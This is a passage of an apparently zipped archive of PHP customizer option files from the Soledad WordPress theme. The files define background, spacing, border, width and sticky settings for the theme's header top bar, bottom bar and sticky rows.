		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'section'   => $section_name,
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\}E    F  inc/builder/customizer/sections/penci_header_mobile_option_section.phpnu [        <?php
/* Mobile Control */
$options   = [];
$options[] = array(
	'id'                => 'penci_header_mobile_sticky_shadow',
	'default'           => 'disable',
	'sanitize_callback' => 'penci_sanitize_choices_field',
	'label'             => esc_attr__( 'Enable Sticky Shadow ?', 'soledad' ),
	'section'           => 'penci_header_mobile_option_section',
	'type'              => 'soledad-fw-select',
	'choices'           => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);

$options[] = array(
	'id'                => 'penci_header_mobile_sticky_hide_down',
	'default'           => 'disable',
	'sanitize_callback' => 'penci_sanitize_choices_field',
	'label'             => esc_attr__( 'Hide When Scrolling Down', 'soledad' ),
	'section'           => 'penci_header_mobile_option_section',
	'type'              => 'soledad-fw-select',
	'choices'           => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);

$options[] = array(
	'id'       => "penci_header_mobile_overlap_setting",
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'    => __( 'Enable Transparent Header( Overlap Mobile Header )', 'soledad' ),
);

return $options;
PK     N\x    J  inc/builder/customizer/sections/penci_header_bottombar_setting_section.phpnu [        <?php
$area          = 'bottombar';
$name          = 'Bottom Bar';
$area_settings = $area;
$default_width = 'container-normal';
$section_name  = "penci_header_{$area_settings}_setting_section";

/* Section Settings */
$options   = [];
$options[] = array(
	'id'              => "penci_header_{$area}_middle_column",
	'default'         => 'disable',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	'label'           => __( 'Middle Column Position', 'soledad' ),
	'section'         => $section_name,
	'choices'         => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	],
	'partial_refresh' => [
		"penci_header_{$area}_middle_column" => [
			'selector'        => '.penci-desktop-bottombar',
			'render_callback' => 'penci_hb_element_desktop_' . str_replace( 'bar', '', $area ) . '_preview_render',
		],
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'section'   => $section_name,
	'ids'  => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'section'   => $section_name,
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'section'   => $section_name,
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'section'   => $section_name,
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\oj
O  O  K  inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.phpnu [        <?php
$sticky_row   = 'top';
$name         = 'Sticky Top';
$section_name = 'penci_header_desktop_sticky_' . $sticky_row . '_section';
$options      = [];
/* Section Settings */
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_middle_column",
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Middle Column Position', 'soledad' ),
	'choices'   => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_width",
	'default'   => 'container-normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-box-model',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( ' Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_sticky_{$sticky_row}_text_color_setting",
	'label'     => $name . __( ' Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_sticky_{$sticky_row}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\b>x  x  G  inc/builder/customizer/sections/penci_header_desktop_sticky_section.phpnu [        <?php
/* Header Sticky */
$options   = [];
$options[] = array(
	'id'       => 'penci_header_desktop_sticky_shadow',
	'default'  => 'enable',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => esc_attr__( 'Enable Sticky Shadow ?', 'soledad' ),
	'section'  => 'penci_header_desktop_sticky_section',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);

$options[] = array(
	'id'       => 'penci_header_desktop_sticky_hide_down',
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => esc_attr__( 'Hide When Scrolling Down', 'soledad' ),
	'section'  => 'penci_header_desktop_sticky_section',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);

$options[] = array(
	'id'       => "penci_header_desktop_sticky_wrap_all",
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'    => __( 'Enable Boxed Header Sticky ?', 'soledad' ),
	'section'  => 'penci_header_desktop_sticky_section',
);

$options[] = array(
	'id'        => "penci_header_desktop_sticky_wrap_width",
	'default'   => 'container-fullwidth',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'container-normal' => '1170px',
		'container-1400'   => '1400px',
		'container-custom' => 'Custom Width',
	],
	'label'     => __( 'Select Width for Boxed Header', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
);

$options[] = array(
	'id'        => "penci_header_desktop_sticky_wrap_custom_width",
	'default'   => '',
	'type'      => 'soledad-fw-size',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __( 'Boxed Header Custom Width', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
	'ids'       => array(
		'desktop' => "penci_header_desktop_sticky_wrap_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_desktop_sticky_lr_spc",
	'default'   => '',
	'type'      => 'soledad-fw-size',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __( 'Boxed Header Left/Right Margin', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
	'ids'       => array(
		'desktop' => "penci_header_desktop_sticky_lr_spc",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => 'penci_header_desktop_sticky_spacing_setting',
	'type'      => 'soledad-fw-box-model',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => 'penci_header_sticky_border_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Borders Color', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
);

$options[] = array(
	'id'        => 'penci_header_sticky_border_style',
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( ' Borders Style', 'soledad' ),
	'section'   => 'penci_header_desktop_sticky_section',
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

return $options;
PK     N\N@ヵ    G  inc/builder/customizer/sections/penci_header_topbar_setting_section.phpnu [        <?php
$area          = 'topbar';
$name          = 'Top Bar';
$area_settings = $area;
$default_width = 'container-normal';
$section_name  = "penci_header_{$area_settings}_setting_section";
$options   = [];
/* Section Settings */
$options[] = array(
	'id'              => "penci_header_{$area}_middle_column",
	'default'         => 'disable',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	'label'           => __( 'Middle Column Position', 'soledad' ),
	'section'         => $section_name,
	'choices'         => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	],
	'partial_refresh' => [
		"penci_header_{$area}_middle_column" => [
			'selector'        => '.penci-desktop-topbar',
			'render_callback' => 'penci_hb_element_desktop_' . str_replace( 'bar', '', $area ) . '_preview_render',
		],
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'section'   => $section_name,
	'ids'  => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'section'   => $section_name,
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'section'   => $section_name,
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
